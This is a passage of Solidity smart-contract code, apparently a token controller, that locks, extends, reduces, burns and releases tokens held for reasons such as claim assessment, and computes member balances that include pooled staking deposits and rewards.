   */
  function lockForMemberVote(address _of, uint _days) public onlyInternal {
    token.lockForMemberVote(_of, _days);
  }

  /**
  * @dev Unlocks the unlockable tokens against CLA of a specified address
  * @param _of Address of user, claiming back unlockable tokens against CLA
  */
  function unlock(address _of)
  public
  checkPause
  returns (uint256 unlockableTokens)
  {
    unlockableTokens = _tokensUnlockable(_of, CLA);
    if (unlockableTokens > 0) {
      locked[_of][CLA].claimed = true;
      emit Unlocked(_of, CLA, unlockableTokens);
      require(token.transfer(_of, unlockableTokens));
    }
  }

  /**
   * @dev Updates Uint Parameters of a code
   * @param code whose details we want to update
   * @param val value to set
   */
  function updateUintParameters(bytes8 code, uint val) public {
    require(ms.checkIsAuthToGoverned(msg.sender));
    if (code == "MNCLT") {
      minCALockTime = val.mul(1 days);
    } else {
      revert("Invalid param code");
    }
  }

  /**
  * @dev Gets the validity of locked tokens of a specified address
  * @param _of The address to query the validity
  * @param reason reason for which tokens were locked
  */
  function getLockedTokensValidity(address _of, bytes32 reason)
  public
  view
  returns (uint256 validity)
  {
    validity = locked[_of][reason].validity;
  }

  /**
  * @dev Gets the unlockable tokens of a specified address
  * @param _of The address to query the the unlockable token count of
  */
  function getUnlockableTokens(address _of)
  public
  view
  returns (uint256 unlockableTokens)
  {
    for (uint256 i = 0; i < lockReason[_of].length; i++) {
      unlockableTokens = unlockableTokens.add(_tokensUnlockable(_of, lockReason[_of][i]));
    }
  }

  /**
  * @dev Returns tokens locked for a specified address for a
  *    specified reason
  *
  * @param _of The address whose tokens are locked
  * @param _reason The reason to query the lock tokens for
  */
  function tokensLocked(address _of, bytes32 _reason)
  public
  view
  returns (uint256 amount)
  {
    return _tokensLocked(_of, _reason);
  }

  /**
  * @dev Returns unlockable tokens for a specified address for a specified reason
  * @param _of The address to query the the unlockable token count of
  * @param _reason The reason to query the unlockable tokens for
  */
  function tokensUnlockable(address _of, bytes32 _reason)
  public
  view
  returns (uint256 amount)
  {
    return _tokensUnlockable(_of, _reason);
  }

  function totalSupply() public view returns (uint256)
  {
    return token.totalSupply();
  }

  /**
  * @dev Returns tokens locked for a specified address for a
  *    specified reason at a specific time
  *
  * @param _of The address whose tokens are locked
  * @param _reason The reason to query the lock tokens for
  * @param _time The timestamp to query the lock tokens for
  */
  function tokensLockedAtTime(address _of, bytes32 _reason, uint256 _time)
  public
  view
  returns (uint256 amount)
  {
    return _tokensLockedAtTime(_of, _reason, _time);
  }

  /**
  * @dev Returns the total amount of tokens held by an address:
  *   transferable + locked + staked for pooled staking - pending burns.
  *   Used by Claims and Governance in member voting to calculate the user's vote weight.
  *
  * @param _of The address to query the total balance of
  * @param _of The address to query the total balance of
  */
  function totalBalanceOf(address _of) public view returns (uint256 amount) {

    amount = token.balanceOf(_of);

    for (uint256 i = 0; i < lockReason[_of].length; i++) {
      amount = amount.add(_tokensLocked(_of, lockReason[_of][i]));
    }

    uint stakerReward = pooledStaking.stakerReward(_of);
    uint stakerDeposit = pooledStaking.stakerDeposit(_of);

    amount = amount.add(stakerDeposit).add(stakerReward);
  }

  /**
  * @dev Returns the total locked tokens at time
  *   Returns the total amount of locked and staked tokens at a given time. Used by MemberRoles to check eligibility
  *   for withdraw / switch membership. Includes tokens locked for Claim Assessment and staked for Risk Assessment.
  *   Does not take into account pending burns.
  *
  * @param _of member whose locked tokens are to be calculate
  * @param _time timestamp when the tokens should be locked
  */
  function totalLockedBalance(address _of, uint256 _time) public view returns (uint256 amount) {

    for (uint256 i = 0; i < lockReason[_of].length; i++) {
      amount = amount.add(_tokensLockedAtTime(_of, lockReason[_of][i], _time));
    }

    amount = amount.add(pooledStaking.stakerDeposit(_of));
  }

  /**
  * @dev Locks a specified amount of tokens against an address,
  *    for a specified reason and time
  * @param _of address whose tokens are to be locked
  * @param _reason The reason to lock tokens
  * @param _amount Number of tokens to be locked
  * @param _time Lock time in seconds
  */
  function _lock(address _of, bytes32 _reason, uint256 _amount, uint256 _time) internal {
    require(_tokensLocked(_of, _reason) == 0);
    require(_amount != 0);

    if (locked[_of][_reason].amount == 0) {
      lockReason[_of].push(_reason);
    }

    require(token.operatorTransfer(_of, _amount));

    uint256 validUntil = now.add(_time); // solhint-disable-line
    locked[_of][_reason] = LockToken(_amount, validUntil, false);
    emit Locked(_of, _reason, _amount, validUntil);
  }

  /**
  * @dev Returns tokens locked for a specified address for a
  *    specified reason
  *
  * @param _of The address whose tokens are locked
  * @param _reason The reason to query the lock tokens for
  */
  function _tokensLocked(address _of, bytes32 _reason)
  internal
  view
  returns (uint256 amount)
  {
    if (!locked[_of][_reason].claimed) {
      amount = locked[_of][_reason].amount;
    }
  }

  /**
  * @dev Returns tokens locked for a specified address for a
  *    specified reason at a specific time
  *
  * @param _of The address whose tokens are locked
  * @param _reason The reason to query the lock tokens for
  * @param _time The timestamp to query the lock tokens for
  */
  function _tokensLockedAtTime(address _of, bytes32 _reason, uint256 _time)
  internal
  view
  returns (uint256 amount)
  {
    if (locked[_of][_reason].validity > _time) {
      amount = locked[_of][_reason].amount;
    }
  }

  /**
  * @dev Extends lock for a specified reason and time
  * @param _of The address whose tokens are locked
  * @param _reason The reason to lock tokens
  * @param _time Lock extension time in seconds
  */
  function _extendLock(address _of, bytes32 _reason, uint256 _time) internal {
    require(_tokensLocked(_of, _reason) > 0);
    emit Unlocked(_of, _reason, locked[_of][_reason].amount);
    locked[_of][_reason].validity = locked[_of][_reason].validity.add(_time);
    emit Locked(_of, _reason, locked[_of][_reason].amount, locked[_of][_reason].validity);
  }

  /**
  * @dev reduce lock duration for a specified reason and time
  * @param _of The address whose tokens are locked
  * @param _reason The reason to lock tokens
  * @param _time Lock reduction time in seconds
  */
  function _reduceLock(address _of, bytes32 _reason, uint256 _time) internal {
    require(_tokensLocked(_of, _reason) > 0);
    emit Unlocked(_of, _reason, locked[_of][_reason].amount);
    locked[_of][_reason].validity = locked[_of][_reason].validity.sub(_time);
    emit Locked(_of, _reason, locked[_of][_reason].amount, locked[_of][_reason].validity);
  }

  /**
  * @dev Returns unlockable tokens for a specified address for a specified reason
  * @param _of The address to query the the unlockable token count of
  * @param _reason The reason to query the unlockable tokens for
  */
  function _tokensUnlockable(address _of, bytes32 _reason) internal view returns (uint256 amount)
  {
    if (locked[_of][_reason].validity <= now && !locked[_of][_reason].claimed) {
      amount = locked[_of][_reason].amount;
    }
  }

  /**
  * @dev Burns locked tokens of a user
  * @param _of address whose tokens are to be burned
  * @param _reason lock reason for which tokens are to be burned
  * @param _amount amount of tokens to burn
  */
  function _burnLockedTokens(address _of, bytes32 _reason, uint256 _amount) internal {
    uint256 amount = _tokensLocked(_of, _reason);
    require(amount >= _amount);

    if (amount == _amount) {
      locked[_of][_reason].claimed = true;
    }

    locked[_of][_reason].amount = locked[_of][_reason].amount.sub(_amount);
    if (locked[_of][_reason].amount == 0) {
      _removeReason(_of, _reason);
    }
    token.burn(_amount);
    emit Burned(_of, _reason, _amount);
  }

  /**
  * @dev Released locked tokens of an address locked for a specific reason
  * @param _of address whose tokens are to be released from lock
  * @param _reason reason of the lock
  * @param _amount amount of tokens to release
  */
  function _releaseLockedTokens(address _of, bytes32 _reason, uint256 _amount) internal
  {
    uint256 amount = _tokensLocked(_of, _reason);
    require(amount >= _amount);

    if (amount == _amount) {
      locked[_of][_reason].claimed = true;
    }

    locked[_of][_reason].amount = locked[_of][_reason].amount.sub(_amount);
    if (locked[_of][_reason].amount == 0) {
      _removeReason(_of, _reason);
    }
    require(token.transfer(_of, _amount));
    emit Unlocked(_of, _reason, _amount);
  }

  function _removeReason(address _of, bytes32 _reason) internal {
    uint len = lockReason[_of].length;
    for (uint i = 0; i < len; i++) {
      if (lockReason[_of][i] == _reason) {
        lockReason[_of][i] = lockReason[_of][len.sub(1)];
        lockReason[_of].pop();
        break;
      }
    }
  }
}